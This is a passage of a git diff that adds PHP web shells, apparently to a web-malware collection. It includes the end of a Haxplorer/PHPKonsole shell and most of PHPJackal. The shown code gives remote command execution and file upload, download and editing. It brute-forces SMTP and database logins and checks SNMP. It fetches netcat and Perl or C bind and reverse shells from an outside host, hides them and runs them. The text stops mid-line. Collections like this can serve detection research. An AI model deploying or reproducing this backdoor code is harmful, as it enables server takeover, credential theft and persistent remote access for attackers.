\"$dir/$userfile_name\".\n<br><br>"; + echo "Local filename: \"$userfile_name\".\n<br>Remote filename: \"$userfile\".\n<br>"; + echo "Filesize: ".formatsize($userfile_size).".\n<br>Filetype: $userfile_type.\n<br>"; + } + else { + echo "Could not move uploaded file; Action aborted..."; + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ; + echo "<br><br></td></tr></table></center>"; +} +elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */ + echo "<hr>"; + $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) { + echo spacetonbsp(@htmlentities($line))."<br>\n"; + } + echo "<hr>"; +} +elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */ + if (function_exists('is_dir')) { + if (is_dir("$oldfile")) { + $objname = "Directory"; + $objident = "Directory"; + } + else { + $objname = "Filename"; + $objident = "file"; + } + } + echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=100% style=\"class=\"silver border\"><center>&nbsp;Rename a file:&nbsp;</center></td></tr></table><br>\n"; + If (empty($newfile) != true) { + echo "<center>"; + $return = @rename($oldfile, "$olddir$newfile"); + if ($return) { + echo "$objident renamed successfully:<br><br>Old $objname: \"$oldfile\".<br>New $objname: \"$olddir$newfile\""; + } + else { + if ( @file_exists("$olddir$newfile") ) { + echo "Error: The $objident does already exist...<br><br>\"$olddir$newfile\"<br><br>Hit your browser's back to try again..."; + } + else { + echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it."; + } + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ; + } + else { + $dpos = strrpos($oldfile, "/"); + if (strval($dpos)!="") { + $olddir = substr($oldfile, 0, $dpos+1); + } + else { + $olddir = "$lastdir/"; + } + $fpos = strrpos($oldfile, "/"); + if (strval($fpos)!="") { + $inputfile = substr($oldfile, $fpos+1); + } + else { + $inputfile = ""; + } + echo "<center><table><tr><td><form action=\"$SFileName?$urlAdd\" method=\"post\">\n"; + echo "<input type=\"hidden\" name=\"cmd\" value=\"ren\">\n"; + echo "<input type=\"hidden\" name=\"oldfile\" value=\"$oldfile\">\n"; + echo "<input type=\"hidden\" name=\"olddir\" value=\"$olddir\">\n"; + echo "<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">\n"; + echo "<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">\n"; + echo "Rename \"$oldfile\" to:<br>\n"; + echo "<input size=\"100\" type=\"text\" name=\"newfile\" value=\"$inputfile\"><br><input type=\"submit\" value=\"Rename\">"; + echo "</form><form action=\"$SFileName?$urlAdd\" method=\"post\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input type=\"submit\" value=\"Cancel\"></form>"; + echo "</td></tr></table></center>"; + } +} +else if ( $cmd == "con") { + +?> +<center> +<table> + <tr><td> +<h3>PHPKonsole</h3> + +<?php + +if (ini_get('register_globals') != '1') { + if (!empty($HTTP_POST_VARS)) + extract($HTTP_POST_VARS); + + if (!empty($HTTP_GET_VARS)) + extract($HTTP_GET_VARS); + + if (!empty($HTTP_SERVER_VARS)) + extract($HTTP_SERVER_VARS); + } + + if (!empty($work_dir)) { + if (!empty($command)) { + if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { + if ($regs[1][0] == '/') { + $new_dir = $regs[1]; + } else { + $new_dir = $work_dir . '/' . $regs[1]; + } + if (file_exists($new_dir) && is_dir($new_dir)) { + $work_dir = $new_dir; + } + unset($command); + } + } + } + if (file_exists($work_dir) && is_dir($work_dir)) { + chdir($work_dir); + } + $work_dir = exec('pwd'); +?> + + <form name="myform" action="<?php echo "$PHP_SELF?$urlAdd" ?>" method="post"> + <table border=0 cellspacing=0 cellpadding=0 width="100%"><tr><td>Current working directory: <b> + <input type="hidden" name="cmd" value="con"> + <?php + $work_dir_splitted = explode('/', substr($work_dir, 1)); + printf('<a href="%s?$urlAddcmd=con&stderr=%s&work_dir=/">Root</a>/', $PHP_SELF, $stderr); + if (!empty($work_dir_splitted[0])) { + $path = ''; + for ($i = 0; $i < count($work_dir_splitted); $i++) { + $path .= '/' . $work_dir_splitted[$i]; + printf('<a href="%s?$urlAddcmd=con&stderr=%s&work_dir=%s">%s</a>/', $PHP_SELF, $stderr, urlencode($path), $work_dir_splitted[$i]); + } + } + ?></b></td> + <td align="right">Choose new working directory: <select class="inputtext" name="work_dir" onChange="this.form.submit()"> + + <?php + $dir_handle = opendir($work_dir); + while ($dir = readdir($dir_handle)) { + if (is_dir($dir)) { + if ($dir == '.') { + echo "<option value=\"$work_dir\" selected>Current Directory</option>\n"; + } elseif ($dir == '..') { + if (strlen($work_dir) == 1) { + } + elseif (strrpos($work_dir, '/') == 0) { + echo "<option value=\"/\">Parent Directory</option>\n"; + } else { + echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n"; + } + } else { + if ($work_dir == '/') { + echo "<option value=\"$work_dir$dir\">$dir</option>\n"; + } else { + echo "<option value=\"$work_dir/$dir\">$dir</option>\n"; + } + } + } + } + closedir($dir_handle); + ?> + </select></td></tr></table> + <p>Command: <input class="inputtext" type="text" name="command" size="60"> + <input name="submit_btn" class="inputbutton" type="submit" value="Execute Command"></p> + <p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"<?php if (($stderr) || (!isset($stderr)) ) echo " CHECKED"; ?>></p> + <textarea cols="80" rows="19" class="inputtextarea" wrap=off readonly><?php + if (!empty($command)) { + echo "phpKonsole> ". htmlspecialchars($command) . "\n\n"; + if ($stderr) { + $tmpfile = tempnam('/tmp', 'phpshell'); + $command .= " 1> $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile"; + } else if ($command == 'ls') { + $command .= ' -F'; + } + $output = `$command`; + echo htmlspecialchars($output); + } + ?></textarea> + </form> + + <script language="JavaScript" type="text/javascript"> + document.forms[0].command.focus(); + </script> + </td></tr></table> +<?php +} +else { /* <!-- There is a incorrect or no parameter specified... Let's open the main menu --> */ + $isMainMenu = true; + ?> + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="border"> + <center>&nbsp;-<[{ <?php echo $scriptTitle ?> Main Menu }]>-&nbsp;</center> + </td> + </tr> + </table> + <br> + <center> + <table border="0" NOWRAP> + <tr> + <td valign="top" class="silver border"> + <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>==> Haxplorer <==</strong></font>", "cmd=dir&dir=.").sp(2); ?> + </td> + <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP> + Haxplorer is a server side file browser wich (ab)uses the directory object to list + the files and directories stored on a webserver. This handy tools allows you to manage + files and directories on a unsecure server with php support.<br><br>This entire script + is coded for unsecure servers, if your server is secured the script will hide commands + or will even return errors to your browser...<br><br> + </td> + </tr> + <tr> + <td valign="top" class="silver border"> + <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>==> PHPKonsole <==</strong></font>", "cmd=con").sp(2); ?> + </td> + <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP> + <br>PHPKonsole is just a little telnet like shell wich allows you to run commands on the webserver. + When you run commands they will run as the webservers UserID. This should work perfectly + for managing files, like moving, copying etc. If you're using a linux server, system commands + such as ls, mv and cp will be available for you... <br><br>This function will only work if the + server supports php and the execute commands...<br><br> + </td> + </tr> + </table> + </center> + <br> + <?php +} + +if ($cmd != "downl") { + if ( $isMainMenu != true) { + ?> + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" style="class="silver border"> + <center><strong> + &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Main Menu&nbsp;] </font>", "cmd=&dir="); ?>&nbsp;&nbsp; + &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;PHPKonsole&nbsp;] </font>", "cmd=con"); ?>&nbsp;&nbsp; + &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Haxplorer&nbsp;] </font>", "cmd=dir&dir=."); ?> &nbsp;&nbsp; + </strong></center> + </td> + </tr> + </table> + <br> + <?php +} + ?> + <table width=100% border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="silver border"> + <center>&nbsp;<?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?>&nbsp;</center> + </td> + </tr> + </table> + </td> + </tr> + </table> + + <?php + } + +?> diff --git a/web-malware-collection-master/Backdoors/PHP/PHPJackal.txt b/web-malware-collection-master/Backdoors/PHP/PHPJackal.txt new file mode 100755 index 0000000..9222ff7 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/PHPJackal.txt @@ -0,0 +1,1583 @@ +<?php +#--Config--# +$login_password='r00t'; +#----------# +error_reporting(E_ALL); +ignore_user_abort(true); +set_time_limit(0); +ini_set('max_execution_time','0'); +ini_set('memory_limit','9999M'); +ini_set('output_buffering',0); +set_magic_quotes_runtime(0); +if(!isset($_SERVER))$_SERVER=&$HTTP_SERVER_VARS; +if(!isset($_POST))$_POST=&$HTTP_POST_VARS; +if(!isset($_GET))$_GET=&$HTTP_GET_VARS; +if(!isset($_COOKIE))$_COOKIE=&$HTTP_COOKIE_VARS; +if(!isset($_FILES))$_FILES=&$HTTP_POST_FILES; +$_REQUEST = array_merge($_GET,$_POST); +if(get_magic_quotes_gpc()){ +foreach($_REQUEST as $key=>$value)$_REQUEST[$key]=stripslashes($value); +} +function hlinK($str=''){ +$myvars=array('modE','chmoD','workingdiR','urL','cracK','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL'); +$ret=$_SERVER['PHP_SELF'].'?'; +$new=explode('&',$str); +foreach($_GET as $key => $v){ +$add=1; +foreach($new as $m){ +$el=explode('=',$m); +if($el[0]==$key)$add=0; +} +if($add){if(!in_array($key,$myvars))$ret.="$key=$v&";} +} +$ret.=$str; +return $ret; +} +$et='</td></tr></table>'; +if(!empty($login_password)){ +if(!empty($_REQUEST['fpassw'])){ +if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw'])); +header('Location: '.hlinK()); +} +if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("<html><body><table><form method=post><tr><td>Password:</td><td><input type=hidden name=seC value=about><input type=password name=fpassw></td></tr><tr><td></td><td><input type=submit value=login></form>$et</body></html>"); +} +if(!empty($_REQUEST['workingdiR']))chdir($_REQUEST['workingdiR']); +$disablefunctions=ini_get('disable_functions'); +$disablefunctions=explode(',',$disablefunctions); +function checkthisporT($ip,$port,$timeout,$type=0){ +if(!$type){ +$scan=fsockopen($ip,$port,$n,$s,$timeout); +if($scan){fclose($scan);return 1;} +} +elseif(function_exists('socket_set_timeout')){ +$scan=fsockopen("udp://$ip",$port); +if($scan){ +socket_set_timeout($scan,$timeout); +fwrite($scan,"\x00"); +$s=time(); +fread($scan,1); +if((time()-$s)>=$timeout){fclose($scan);return 1;} +} +} +return 0; +} +if(!function_exists('file_get_contents')){ +function file_get_contents($addr){ +$a=fopen($addr,'r'); +$tmp=fread($a,filesize($a)); +fclose($a); +if($a)return $tmp;else return null; +} +} +if(!function_exists('file_put_contents')){ +function file_put_contents($addr,$con){ +$a=fopen($addr,'w'); +if(!$a)return 0; +$t=fwrite($a,$con); +fclose($a); +if($t)return strlen($con); +return 0; +} +} +function file_add_contentS($addr,$con){ +$a=fopen($addr,'a'); +if(!$a)return 0; +fwrite($a,$con); +fclose($a); +return strlen($con); +} +if(!empty($_REQUEST['chmoD']) && !empty($_REQUEST['modE']))chmod($_REQUEST['chmoD'],'0'.$_REQUEST['modE']); +if(!empty($_REQUEST['downloaD'])){ +ob_clean(); +$dl=$_REQUEST['downloaD']; +$con=file_get_contents($dl); +header('Content-type: application/octet-stream'); +header("Content-disposition: attachment; filename=\"$dl\";"); +header('Content-length: '.strlen($con)); +echo $con; +exit; +} +if(!empty($_REQUEST['imagE'])){ +$img=$_REQUEST['imagE']; +header('Content-type: imagE/gif'); +header("Content-length: ".filesize($img)); +header("Last-Modified: ".date('r',filemtime($img))); +echo file_get_contents($img); +exit; +} +if(!empty($_REQUEST['exT'])){ +$ex=$_REQUEST['exT']; +$e=get_extension_funcs($ex); +echo '<html><head><title>'.htmlspecialchars($ex).'</title></head><body><b>Functions:</b><br>';foreach($e as $k=>$f){$i=$k+1;echo "$i)$f ";if(in_array($f,$disablefunctions))echo '<font color=red>DISABLED</font>';echo '<br>';} +echo '</body></html>'; +exit; +} +header('Cache-Control: no-cache, must-revalidate'); +header('Expires: Mon, 7 Aug 1987 05:00:00 GMT'); +function showsizE($size){ +if($size>=1073741824)$size=round(($size/1073741824),2).' GB'; +elseif($size>=1048576)$size=round(($size/1048576),2).' MB'; +elseif($size>=1024)$size=round(($size/1024),2).' KB'; +else $size.=' B'; +return $size; +} +$windows=(substr((strtoupper(php_uname())),0,3)=='WIN')?1:0; +$errorbox="<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td><b>Error: </b>"; +$v='1.9'; +$cwd=getcwd(); +$msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td align='center'>"; +$intro="<center><table border=0 style='border-collapse: collapse'><tr><td bgcolor='#666666'><b>Script:</b><br>".str_repeat('-=-',25)."<br><b>Name:</b> PHPJackal<br><b>Version:</b> $v<br><br><b>Author:</b><br>".str_repeat('-=-',25)."<br><b>Name:</b> NetJackal<br><b>Country:</b> Iran<br><b>Website:</b> <a href='http://netjackal.by.ru/' target='_blank'>http://netjackal.by.ru/</a><br><b>Email:</b> <a href='mailto:nima_501@yahoo.com?subject=PHPJackal'>nima_501@yahoo.com</a><br><noscript>".str_repeat('-=-',25)."<br><b>Error: Enable JavaScript in your browser!!!</b></noscript>$et</center>"; +$footer="${msgbox}PHPJackal v$v - Powered By <a href='http://netjackal.by.ru/' target='_blank'>NetJackal</a>$et"; +$hcwd="<input type=hidden name=workingdiR value='$cwd'>"; +$t="<table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#333333'>"; +$crack="</td><td bgcolor='#333333'></td></tr><form method='POST' name=form><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='20%' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target value=localhost size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>"; +function checkfunctioN($func){ +global $disablefunctions,$safemode; +$safe=array('passthru','system','exec','exec','shell_exec','popen','proc_open'); +if($safemode=='ON' && in_array($func,$safe))return 0; +elseif(function_exists($func) && is_callable($func) && !in_array($func,$disablefunctions))return 1; +return 0; +} +function whereistmP(){ +$uploadtmp=ini_get('upload_tmp_dir'); +$uf=getenv('USERPROFILE'); +$af=getenv('ALLUSERSPROFILE'); +$se=ini_get('session.save_path'); +$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); +if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; +if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; +if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp'; +if(is_dir($uf) && is_writable($uf))return $uf; +if(is_dir($af) && is_writable($af))return $af; +if(is_dir($se) && is_writable($se))return $se; +if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp; +if(is_dir($envtmp) && is_writable($envtmp))return $envtmp; +return '.'; +} +function shelL($command){ +global $windows; +$exec=$output=''; +$dep[]=array('pipe','r');$dep[]=array('pipe','w'); +if(checkfunctioN('passthru')){ob_start();passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();} +elseif(checkfunctioN('system')){$tmp=ob_get_contents();ob_clean();system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;} +elseif(checkfunctioN('exec')){exec($command,$output);$output=join("\n",$output);$exec=$output;} +elseif(checkfunctioN('shell_exec'))$exec=shell_exec($command); +elseif(checkfunctioN('popen')){$output=popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);} +elseif(checkfunctioN('proc_open')){$res=proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);} +elseif(checkfunctioN('win_shell_execute'))$exec=winshelL($command); +elseif(checkfunctioN('win32_create_service'))$exec=srvshelL($command); +elseif(is_object($ws=new COM('WScript.Shell')))$exec=comshelL($command,$ws); +return $exec; +} +function getiT($get){ +$fo=strtolower(ini_get('allow_url_fopen')); +$ui=strtolower(ini_get('allow_url_include')); +if($fo || $fo=='on')$con=file_get_contents($get); +elseif($ui || $ui=='on'){ +ob_start(); +include('http://netjackal.net/'); +$con=ob_get_contents(); +ob_end_clean(); +} +else{ +$u=parse_url($get); +$host=$u['host'];$file=(empty($u['path']))?'/':$u['path'];$port=(empty($u['port']))?80:$u['port']; +$url=fsockopen($host,$port,$en,$es,12); +fputs($url,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +$tmp=$con=''; +while($tmp!="\r\n")$tmp=fgets($url); +while(!feof($url))$con.=fgets($url); +} +return $con; +} +function downloadiT($get,$put){ +$con=getiT($get); +$mk=file_put_contents($put,$con); +if($mk)return 1; +return 0; +} +function winshelL($command){ +$name=whereistmP()."\\".uniqid('NJ'); +win_shell_execute('cmd.exe','',"/C $command >\"$name\""); +sleep(1); +$exec=file_get_contents($name); +unlink($name); +return $exec; +} +function srvshelL($command){ +$name=whereistmP()."\\".uniqid('NJ'); +$n=uniqid('NJ'); +$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec']; +win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\"")); +win32_start_service($n); +win32_stop_service($n); +win32_delete_service($n); +sleep(1); +$exec=file_get_contents($name); +unlink($name); +return $exec; +} +function comshelL($command,$ws){ +$exec=$ws->exec ("cmd.exe /c $command"); +$so=$exec->StdOut(); +return $so->ReadAll(); +} +function smtpchecK($addr,$user,$pass,$timeout){ +$sock=fsockopen($addr,25,$n,$s,$timeout); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,'ehlo '.uniqid('NJ')."\r\n"); +$res=substr(fgets($sock,512),0,1); +if($res!='2')return 0; +fgets($sock,512);fgets($sock,512);fgets($sock,512); +fputs($sock,"AUTH LOGIN\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($user)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($pass)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='235')return 0; +return 1; +} +function mysqlchecK($host,$user,$pass,$timeout){ +if(function_exists('mysql_connect')){ +$l=mysql_connect($host,$user,$pass); +if($l)return 1; +} +return 0; +} +function mssqlchecK($host,$user,$pass,$timeout){ +if(function_exists('mssql_connect')){ +$l=mssql_connect($host,$user,$pass); +if($l)return 1; +} +return 0; +} +function checksmtP($host,$timeout){ +$from=strtolower(uniqid('nj')).'@'.strtolower(uniqid('nj')).'.com'; +$sock=fsockopen($host,25,$n,$s,$timeout); +if(!$sock)return -1; +$res=substr(fgets($sock,512),0,3); +if($res!='220')return 0; +fputs($sock,'HELO '.uniqid('NJ')."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"MAIL FROM: <$from>\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"RCPT TO: <contact@persianblog.com>\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"DATA\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='354')return 0; +fputs($sock,"From: ".uniqid('NJ')." ".uniqid('NJ')." <$from>\r\nSubject: ".uniqid('NJ')."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".uniqid('Hello ',true)."\r\n.\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +return 1; +} +function replace_stR($s,$h){ +$ret=$h; +foreach($s as $k=>$r)$ret=str_replace($k,$r,$ret); +return $ret; +} +function check_urL($url,$method,$search='200',$timeout=3){ +$u=parse_url($url); +$method=strtoupper($method); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port']; +$data=(!empty($u['query']))?$u['query']:''; +if(!empty($data))$data="?$data"; +$sock=fsockopen($host,$port,$en,$es,$timeout); +if($sock){ +fputs($sock,"$method $file$data HTTP/1.0\r\n"); +fputs($sock,"Host: $host\r\n"); +if($method=='GET')fputs($sock,"\r\n"); +elseif($method=='POST')fputs($sock,'Content-Type: application/x-www-form-urlencoded\r\nContent-length: '.strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data"); +else return 0; +if($search=='200')if(strstr(fgets($sock),'200')){fclose($sock);return 1;}else{fclose($sock);return 0;} +while(!feof($sock)){ +$res=fgets($sock); +if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;} +} +fclose($sock); +} +return 0; +} +function get_sw_namE($host,$timeout){ +$sock=fsockopen($host,80,$en,$es,$timeout); +if($sock){ +$page=uniqid('NJ'); +fputs($sock,"GET /$page HTTP/1.0\r\n\r\n"); +while(!feof($sock)){ +$con=fgets($sock); +if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;} +} +fclose($sock); +return -1; +}return 0; +} +function snmpchecK($ip,$com,$timeout){ +$res=0; +$n=chr(0x00); +$packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01).chr(0x00).chr(0x04).chr(strlen($com)).$com.chr(0xA0).chr(0x19).chr(0x02).chr(0x01).chr(0x01).chr(0x02).chr(0x01).$n.chr(0x02).chr(0x01).$n.chr(0x30).chr(0x0E).chr(0x30).chr(0x0C).chr(0x06).chr(0x08).chr(0x2B).chr(0x06).chr(0x01).chr(0x02).chr(0x01).chr(0x01).chr(0x01).$n.chr(0x05).$n; +$sock=fsockopen("udp://$ip",161); +if(function_exists('socket_set_timeout'))socket_set_timeout($sock,$timeout); +fputs($sock,$packet); +socket_set_timeout($sock,$timeout); +$res=fgets($sock); +fclose($sock); +if($res != '')return 1;else return 0; +} +$safemode=(ini_get('safe_mode') || strtolower(ini_get('safe_mode'))=='on')?'ON':'OFF'; +if($safemode=='ON'){ini_restore('safe_mode');ini_restore('open_basedir');} +function brshelL(){ +global $errorbox,$windows,$et,$hcwd; +$_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0; +$addr='http://netjackal.by.ru/br'; +$error="$errorbox Can not make backdoor file, go to writeable folder.$et"; +$n=uniqid('NJ_'); +if(!$windows)$n=".$n"; +$d=whereistmP(); +$name=$d.DIRECTORY_SEPARATOR.$n; +$c=($_REQUEST['C'])?1:0; +if(!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1)){ +$port=(int)$_REQUEST['port']; +if($windows){ +if($c){ +$name.='.exe'; +$bd=downloadiT("$addr/nc",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe"); +}else{ +$name=$name.'.pl'; +$bd=downloadiT("$addr/winbind.p",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("perl $name $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/bind.c",$name); +if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &"); +}else{ +$bd=downloadiT("$addr/bind.p",$name); +if(!$bd)echo $error;else shelL("cd $d;perl $n $port &"); +echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>"; +} +} +} +elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){ +$ip=$_REQUEST['ip']; +$port=(int)$_REQUEST['rport']; +if($windows){ +if($c){ +$name.='.exe'; +$bd=downloadiT("$addr/nc",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe"); +}else{ +$name=$name.'.pl'; +$bd=downloadiT("$addr/winrc.p",$name); +shelL("attrib +H $name"); +if (!$bd)echo $error;else shelL("perl.exe $name $ip $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/rc.c",$name); +if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &"); +}else{ +$bd=downloadiT("$addr/rc.p",$name); +if(!$bd)echo $error;else shelL("cd $d;perl $n $ip $port &"); +} +} +echo '<font color=blue>Done!</font>';} +else{echo "<table border=0 style='border-collapse: collapse' width='100%'><tr><td><table border=0 style='border-collapse: collapse' width='50%'><tr><td width='50%' bgcolor='#333333'>Bind shell:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Port:</td><td bgcolor='#666666'><input type=text name=port value=55501 size=5></td></tr><tr><td width='20%' bgcolor='#808080'>Type:</td><td bgcolor='#808080'><input type=radio style='border-width:1px;background-color:#808080;' value=0 checked name=C>PERL<input type=radio style='border-width:1px;background-color:#808080;' name=C value=1>";if($windows)echo 'EXE';else echo 'C';echo"</td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input type=submit class=buttons value=Bind></form>$et</td><td><table border=0 style='border-collapse: collapse' width='50%'><tr><td width='40%' bgcolor='#333333'>Reverse shell:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#808080'>IP:</td><td bgcolor='#808080'><input type=text name=ip value=";echo $_SERVER['REMOTE_ADDR'];echo " size=17></td></tr><tr><td width='20%' bgcolor='#666666'>Port:</td><td bgcolor='#666666'><input type=text name=rport value=53 size=5></td></tr><tr><td width='20%' bgcolor='#808080'>Type:</td><td bgcolor='#808080'><input type=radio style='border-width:1px;background-color:#808080;' value=0 checked name=C>PERL<input type=radio style='border-width:1px;background-color:#808080;' name=C value=1>";if($windows)echo 'EXE';else echo 'C';echo"</td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value=Connect></form>$et$et";}} +function showimagE($img){ +echo "<center><img border=0 src='".hlinK("imagE=$img&&workingdiR=".getcwd())."'></center>";} +function editoR($file){ +global $errorbox,$et,$hcwd,$cwd; +if(is_file($file)){ +if(!is_readable($file)){echo "$errorbox File is not readable$et<br>";} +if(!is_writeable($file)){echo "$errorbox File is not writeable$et<br>";} +$data=file_get_contents($file); +echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='10%' bgcolor='#808080'><form method='POST'>$hcwd<input type=text value='".htmlspecialchars($file)."' size=75 name=file><input type=submit class=buttons name=Open value=Open></form>$et<br><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#666666'><form method='POST'><textarea rows='18' name='edited' cols='64'>"; +echo htmlspecialchars($data); +echo "</textarea></td></tr><tr><td width='10%' bgcolor='#808080'><input type=text value='$file' size=80 name=file></td></tr><td width='40%' bgcolor='#666666' align='right'>"; +} +else {echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='10%' bgcolor='#808080'><form method='POST'><input type=text value='$cwd' size=75 name=file>$hcwd<input type=submit class=buttons name=Open value=Open></form>$et<br><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#666666'><form method='POST'><textarea rows='18' name='edited' cols='63'></textarea></td></tr><tr><td width='10%' bgcolor='#808080'><input type=text value='$cwd' size=80 name=file></td></tr><td width='40%' bgcolor='#666666' align='right'>"; +} +echo "$hcwd<input type=submit class=buttons name=Save value=Save></form>$et</center>"; +} +function webshelL(){ +global $windows,$hcwd,$et,$cwd; +if($windows){ +$alias="<option value='netstat -an'>Display open ports</option><option value='tasklist'>List of processes</option><option value='systeminfo'>System information</option><option value='ipconfig /all'>IP configuration</option><option value='getmac'>Get MAC address</option><option value='net start'>Services list</option><option value='net view'>Machines in domain</option><option value='net user'>Users list</option><option value='shutdown -s -f -t 1'>Turn off the server</option>"; +} +else{ +$alias="<option value='netstat -an | grep -i listen'>Display open ports</option><option value='last -a -n 250 -i'>Show last 250 logged in users</option><option value='which wget curl lynx w3m'>Downloaders</option><option value='find / -perm -2 -type d 